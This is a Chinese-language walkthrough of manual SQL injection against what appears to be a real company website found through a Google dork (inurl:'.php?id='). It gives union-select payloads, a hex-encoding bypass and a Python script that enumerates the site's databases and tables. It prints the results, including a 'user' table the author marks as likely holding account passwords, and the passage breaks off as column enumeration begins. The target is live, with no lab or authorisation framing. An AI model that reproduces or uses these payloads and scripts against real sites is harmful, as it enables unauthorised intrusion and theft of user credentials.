发现存在SQL注入的站点有很多都是PHP,估计是PHP的占有率太大了,而且建站方便效率高,这就和ios和安卓一样,始终认为安卓安全性差,win和linux,mac一样,始终认为win的安全性差,毕竟占有率摆在这里
通过谷歌来搜索一些存在注入漏洞的网站,用谷歌hack语法来搜索:公司inurl:".php?id="
结尾为公司,url中带有.php?id=的网页 那么我们来搜索下,我们就选择第一个
先加一个’测试一下,网页直接报错,从报错信息来看,是一个linux服务器,mysql的数据库
使用hackbar插件继续测试,不报错 继续测试,报错,说明这个字段是一个整型数据
?id=37 and '1'='1'
为什么说是整型数据呢? 因为假设它是字符型的数据,那么sql语句结尾必定是’符号,那么此时语句应该是这样的,那么报错
select * from 表 where id='37 and '1'='1''
若是整型数据,就是这样子的,那么不会报错,所以这个字段是整型的
select * from 表 where id=37 and '1'='1'
那么这是存在整型的注入点,继续测试
使用order by语句排序来判断当前表的字段数,总共25不报错,26报错,当前表为25个字段
使用union联合查询,判断信息输出位置,输出的是2和10
and 1=2 每次都需要加是因为需要将前面的sql语句为假,那么则执行后面的sql语句
?id=37 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
替换2,和10的位置为database(),和user(),页面输出数据库名称和账号名和地址信息,database为bdm266490221_db
此时我们就可以使用mysql自带的information_schema库来查询信息了
?id=37 and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES where TABLE_SCHEMA='bdm266490221_db' limit 0,1
发现报错了,很可能屏蔽了’号,那么我们可以将其转化成十六进制数
再来!
?id=37 and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES where TABLE_SCHEMA=0x2762646d3236363439303232315f646227 limit 0,1
依旧没有显示出来,这个地方有两点值得注意
1.可能不支持’"等符号,那么使用0x 十六进制的方法
2.可能sql语句后接了一些其他的语句,那么使用 – 来注释那些语句,这样就可以使用limit 0,1输出指定信息
现在这样子就是没法使用where精确的查找出bdm266490221_db库的所有表名了,那么我换一种方法,直接用脚本列举出所有的表名和对应的db库
使用python构造所有url,请求然后正则匹配需要的信息
and 1=2 union select 1,TABLE_SCHEMA,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES limit 0,1
for i in range(0,1000):
try:
url = """http://www.***.com/about.php?id=37 and 1=2 union select 1,TABLE_SCHEMA,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES limit %d,%d"""%(i,i+1)
rsp = requests.get(url=url).text
info = re.findall(r'(?:page_bt">)(.*)(?:<)|(?:page_text">)(.*)(?:<)',rsp)
print(info,i)
except:
print('error:%d'%i)
[('information_schema', ''), ('', 'CHARACTER_SETS')] 0
[('information_schema', ''), ('', 'COLLATIONS')] 1
[('information_schema', ''), ('', 'COLLATION_CHARACTER_SET_APPLICABILITY')] 2
[('information_schema', ''), ('', 'COLUMNS')] 3
[('information_schema', ''), ('', 'COLUMN_PRIVILEGES')] 4
[('information_schema', ''), ('', 'ENGINES')] 5
[('information_schema', ''), ('', 'EVENTS')] 6
[('information_schema', ''), ('', 'FILES')] 7
[('information_schema', ''), ('', 'GLOBAL_STATUS')] 8
[('information_schema', ''), ('', 'GLOBAL_VARIABLES')] 9
[('information_schema', ''), ('', 'KEY_COLUMN_USAGE')] 10
[('information_schema', ''), ('', 'PARTITIONS')] 11
[('information_schema', ''), ('', 'PLUGINS')] 12
[('information_schema', ''), ('', 'PROCESSLIST')] 13
[('information_schema', ''), ('', 'PROFILING')] 14
[('information_schema', ''), ('', 'REFERENTIAL_CONSTRAINTS')] 15
[('information_schema', ''), ('', 'ROUTINES')] 16
[('information_schema', ''), ('', 'SCHEMATA')] 17
[('information_schema', ''), ('', 'SCHEMA_PRIVILEGES')] 18
[('information_schema', ''), ('', 'SESSION_STATUS')] 19
[('information_schema', ''), ('', 'SESSION_VARIABLES')] 20
[('information_schema', ''), ('', 'STATISTICS')] 21
[('information_schema', ''), ('', 'TABLES')] 22
[('information_schema', ''), ('', 'TABLE_CONSTRAINTS')] 23
[('information_schema', ''), ('', 'TABLE_PRIVILEGES')] 24
[('information_schema', ''), ('', 'TRIGGERS')] 25
[('information_schema', ''), ('', 'USER_PRIVILEGES')] 26
[('information_schema', ''), ('', 'VIEWS')] 27
[('bdm266490221_db', ''), ('', 'gplat_book')] 28
[('bdm266490221_db', ''), ('', 'gplat_news')] 29
[('bdm266490221_db', ''), ('', 'gplat_newsclass')] 30
[('bdm266490221_db', ''), ('', 'gplat_newsclass2')] 31
[('bdm266490221_db', ''), ('', 'href')] 32
[('bdm266490221_db', ''), ('', 'job')] 33
[('bdm266490221_db', ''), ('', 'job_add')] 34
[('bdm266490221_db', ''), ('', 'lawyer_wenda')] 35
[('bdm266490221_db', ''), ('', 'user')] 36
[('', ''), ('', '')] 37
[('', ''), ('', '')] 38
可以看到bdm266490221_db存在的表,user这个可能是存放用户的账号密码的表,那么再查询下它的字段,依旧使用脚本列举
[('bdm266490221_db', ''), ('', 'gplat_book')] 28
[('bdm266490221_db', ''), ('', 'gplat_news')] 29
[('bdm266490221_db', ''), ('', 'gplat_newsclass')] 30
[('bdm266490221_db', ''), ('', 'gplat_newsclass2')] 31
[('bdm266490221_db', ''), ('', 'href')] 32
[('bdm266490221_db', ''), ('', 'job')] 33
[('bdm266490221_db', ''), ('', 'job_add')] 34
[('bdm266490221_db', ''), ('', 'lawyer_wenda')] 35
[('bdm266490221_db', ''), ('', 'user')] 36
继续列举表字段,直接查询字段名
and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.COLUMNS limit 0,1
for i in range(0,1000